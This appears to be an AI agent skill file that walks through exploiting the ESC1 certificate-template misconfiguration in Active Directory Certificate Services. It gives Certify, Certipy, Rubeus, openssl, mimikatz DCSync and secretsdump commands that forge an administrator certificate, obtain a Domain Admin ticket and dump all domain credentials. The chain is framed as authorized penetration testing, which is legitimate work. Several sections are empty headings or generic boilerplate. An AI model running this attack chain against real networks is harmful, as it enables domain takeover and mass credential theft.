Exploiting Active Directory Certificate Services Esc1

Exploiting Active Directory Certificate Services ESC1

Overview

ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).

When to Use

Trigger phrases:

• "exploiting active directory certificate services esc1"

• "Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnera"

• When performing authorized security testing that involves exploiting active directory certificate services esc1

• When analyzing malware samples or attack artifacts in a controlled environment

• When conducting red team exercises or penetration testing engagements

• When building detection capabilities based on offensive technique understanding

Prerequisites

• Familiarity with red teaming concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Objectives

• Enumerate AD CS infrastructure and certificate templates using Certify or Certipy
• Identify vulnerable ESC1 templates with "Supply in Request" enabled
• Request a certificate specifying a Domain Admin in the SAN field
• Authenticate using the forged certificate via PKINIT to obtain a TGT
• Escalate privileges to Domain Admin using the obtained Kerberos ticket
• Document the full attack chain for the engagement report

MITRE ATT&CK Mapping

• T1649 - Steal or Forge Authentication Certificates
• T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
• T1078.002 - Valid Accounts: Domain Accounts
• T1484 - Domain Policy Modification
• T1087.002 - Account Discovery: Domain Account

Workflow

1. Scope and authorize — confirm written authorization and define target boundaries
2. Reconnaissance — enumerate targets, services, and potential attack surfaces
3. Exploitation — attempt exploitation of identified vulnerabilities within scope
4. Post-exploitation — document access level, lateral movement, and data exposure
5. Report and remediate — compile findings with reproduction steps and fix recommendations

Phase 1: AD CS Enumeration

1. Enumerate Certificate Authority (CA) servers in the domain:

   # Using Certify (Windows)
   Certify.exe cas
   
   # Using Certipy (Linux/Python)
   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
   

2. Enumerate all certificate templates and identify vulnerable ones:

   # Using Certify - find vulnerable templates
   Certify.exe find /vulnerable
   
   # Using Certipy - outputs JSON and text reports
   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
   

3. Verify ESC1 conditions on identified templates:
   • msPKI-Certificate-Name-Flag contains ENROLLEE_SUPPLIES_SUBJECT
   • pkiExtendedKeyUsage contains Client Authentication or Smart Card Logon
   • msPKI-Enrollment-Flag does not require manager approval
   • Low-privileged group (Domain Users, Authenticated Users) has Enroll rights

Phase 2: Certificate Request with Arbitrary SAN

1. Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:

   # Using Certify (Windows)
   Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
   
   # Using Certipy (Linux)
   certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
   

2. The CA issues a certificate with the Domain Admin's UPN in the SAN field
3. Save the output certificate in PFX/PEM format

Phase 3: Authentication with Forged Certificate

1. Convert the certificate if needed (Certify outputs PEM, convert to PFX):

   openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
   

2. Authenticate using PKINIT to obtain a TGT for the impersonated user:

   # Using Rubeus (Windows)
   Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
   
   # Using Certipy (Linux)
   certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
   

3. The TGT is now loaded in memory (Windows) or the NT hash is recovered (Linux)

Phase 4: Domain Privilege Escalation

1. With the Domain Admin TGT, perform privileged operations:

   # DCSync to dump all domain credentials
   mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
   
   # Or using secretsdump.py with the obtained NT hash
   secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
   

2. Validate Domain Admin access:

   # List domain controllers
   dir \\DC01.domain.local\C$
   
   # Access Domain Admin shares
   dir \\DC01.domain.local\SYSVOL
   

When NOT to Use

• You don't have explicit authorization to exploit
• Task is about detecting exploits, not performing them (use detecting-* skills)
• You need to analyze exploit artifacts (use analyzing-* skills)
• Task is about building exploit tools (use building-* skills)
• Target is production without authorization
• Task requires responsible disclosure (follow disclosure process)

Red Flags

• Performing actions without explicit written authorization from the asset owner
• Testing against production systems without a defined scope and rules of engagement
• Exceeding the authorized scope of the engagement
• Leaving persistent access mechanisms without explicit approval
• Causing denial-of-service on production systems during testing

Verification

• All steps executed successfully against a test environment before production use
• Output documented with screenshots or logs demonstrating expected behavior
• All exploited vulnerabilities documented with reproduction steps
• Scope boundaries confirmed — only authorized targets were tested
• Remediation recommendations included for every finding

Tools and Resources

Vulnerable Template Indicators

Detection Signatures

Validation Criteria

• AD CS Certificate Authority enumerated
• Vulnerable ESC1 templates identified with Certify or Certipy
• Certificate requested with Domain Admin SAN successfully
• PKINIT authentication performed with forged certificate
• Domain Admin TGT obtained
• Privileged access to domain controller validated
• Full attack chain documented with evidence
• Remediation recommendations provided (disable Supply in Request, require manager approval)

Process

1. Analyze the task requirements
2. Apply domain expertise
3. Verify output quality

Anti-Rationalization Table